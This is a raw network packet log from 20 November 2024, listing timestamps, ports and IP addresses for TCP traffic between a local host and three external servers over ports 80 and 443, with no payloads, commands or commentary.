Nov 20, 2024 18:57:17.828238010 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:17.828295946 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:17.828319073 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:17.828341961 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:17.828372002 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:17.986870050 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:17.986942053 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:17.986965895 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:17.986993074 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:17.987032890 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:17.987050056 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:17.987062931 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:17.987076044 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:17.987092018 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:17.987107992 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:17.987122059 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:17.988869905 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:18.004702091 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.004726887 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.004795074 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.004816055 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.004863977 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.004910946 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.049407005 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.049426079 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.049506903 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.049520969 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.049549103 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.049586058 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.100720882 CET	443	49703	173.222.162.64	192.168.2.6
Nov 20, 2024 18:57:18.100843906 CET	49703	443	192.168.2.6	173.222.162.64
Nov 20, 2024 18:57:18.108325958 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:18.172679901 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.172699928 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.172768116 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.172786951 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.172844887 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.211518049 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.211535931 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.211635113 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.211657047 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.211673975 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.212399960 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.232369900 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.232388020 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.232444048 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.232465029 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.232490063 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.232785940 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.253423929 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.253441095 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.253768921 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.253787994 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.253861904 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.359885931 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.359910965 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.360003948 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.360003948 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.360023975 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.360152006 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.377087116 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.377109051 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.377154112 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.377168894 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.377228022 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.377228022 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.392390966 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.392410040 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.392468929 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.392478943 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.392523050 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.392523050 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.405407906 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.405426979 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.405492067 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.405505896 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.405864000 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.420460939 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.420490026 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.420584917 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.420584917 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.420597076 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.420686007 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.424736023 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.424789906 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.424930096 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.424966097 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.424983025 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.440215111 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:18.440272093 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:18.489438057 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.489466906 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.489538908 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.494730949 CET	49718	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.494782925 CET	443	49718	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.494862080 CET	49718	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.495631933 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.495641947 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.495788097 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.496917963 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.496957064 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.497267008 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.497277975 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.497297049 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.497374058 CET	49718	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.497397900 CET	443	49718	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.497466087 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.497469902 CET	49721	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.497481108 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.497504950 CET	443	49721	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.497613907 CET	49721	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.497673988 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.497685909 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.497730970 CET	49721	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:18.497741938 CET	443	49721	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:18.504832029 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:18.504919052 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:18.624381065 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:18.624459982 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:18.624552965 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:18.624562979 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:18.624701023 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:18.624736071 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:18.624835968 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:18.624850988 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:19.610165119 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:19.610241890 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:19.938474894 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.060338020 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.388426065 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.389112949 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.389127970 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.389384031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.389477015 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.389489889 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.389528036 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.389657021 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.389662981 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.393352032 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.393443108 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.393488884 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.393507004 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.401371956 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.401693106 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.401755095 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.401890039 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.401932955 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.402219057 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.402242899 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.402730942 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.402736902 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.410135031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.410192013 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.410198927 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.410243988 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.418488026 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.418545961 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.418581963 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.418631077 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.440392971 CET	443	49721	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.440572023 CET	443	49718	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.440933943 CET	49721	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.440953016 CET	443	49721	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.441364050 CET	49718	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.441381931 CET	443	49718	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.441454887 CET	49721	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.441472054 CET	443	49721	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.441888094 CET	49718	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.441894054 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.441903114 CET	443	49718	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.442261934 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.442275047 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.442697048 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.442703009 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.526834965 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.526902914 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.526949883 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.527069092 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.531007051 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.531064034 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.531088114 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.531272888 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.539417028 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.539540052 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.539572001 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.539616108 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.547931910 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.547955036 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.548002005 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.548002005 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.556257963 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.556308031 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.556325912 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.556366920 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.564486027 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.564548016 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.580421925 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.580508947 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.580555916 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.580595970 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.584553003 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.584669113 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.586136103 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.586195946 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.586230993 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.586294889 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.594547987 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.594614983 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.594738007 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.595113039 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.602909088 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.602957964 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.602966070 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.603010893 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.611237049 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.611294031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.611299038 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.611357927 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.619666100 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.619721889 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.620063066 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.620110035 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.628156900 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.628204107 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.684168100 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.684191942 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.684237957 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.684283018 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.688337088 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.688390970 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.688409090 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.688451052 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.693944931 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.693998098 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.694048882 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.694092989 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.702147961 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.702203035 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.702244043 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.702301025 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.718935013 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.718996048 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.719055891 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.719099998 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.722388983 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.722464085 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.722492933 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.722541094 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.729402065 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.729424000 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.729471922 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.736329079 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.736370087 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.736387968 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.736418962 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.743143082 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.743191004 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.743212938 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.743252039 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.749978065 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.749994040 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.750039101 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.756217003 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.756381035 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.756411076 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.756453991 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.761991024 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.762114048 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.762132883 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.762177944 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.767895937 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.767954111 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.767993927 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.768057108 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.773848057 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.773924112 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.773998022 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.774060011 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.779768944 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.779824972 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.779894114 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.785728931 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.785792112 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.785794020 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.785919905 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.791690111 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.791743994 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.791758060 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.791781902 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.797591925 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.797657013 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.797694921 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.797780037 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.803740025 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.803828955 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.803832054 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.803905964 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.809525013 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.809539080 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.809585094 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.809614897 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.818475962 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.818541050 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.818613052 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.818671942 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.821396112 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.821556091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.821578026 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.821629047 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.826661110 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.826730967 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.826746941 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.826879025 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.829607964 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.829670906 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.829677105 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.829719067 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.834117889 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.834223032 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.834295988 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.838751078 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:20.838958025 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:20.839714050 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.839744091 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.839814901 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.839829922 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.840219975 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.840229988 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.840248108 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.840442896 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.840475082 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.840526104 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.844299078 CET	49722	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.844330072 CET	443	49722	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.844415903 CET	49722	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.844657898 CET	49722	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:20.844674110 CET	443	49722	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.861459017 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.861484051 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:20.861541986 CET	443	49717	13.107.246.63	192.168.2.6
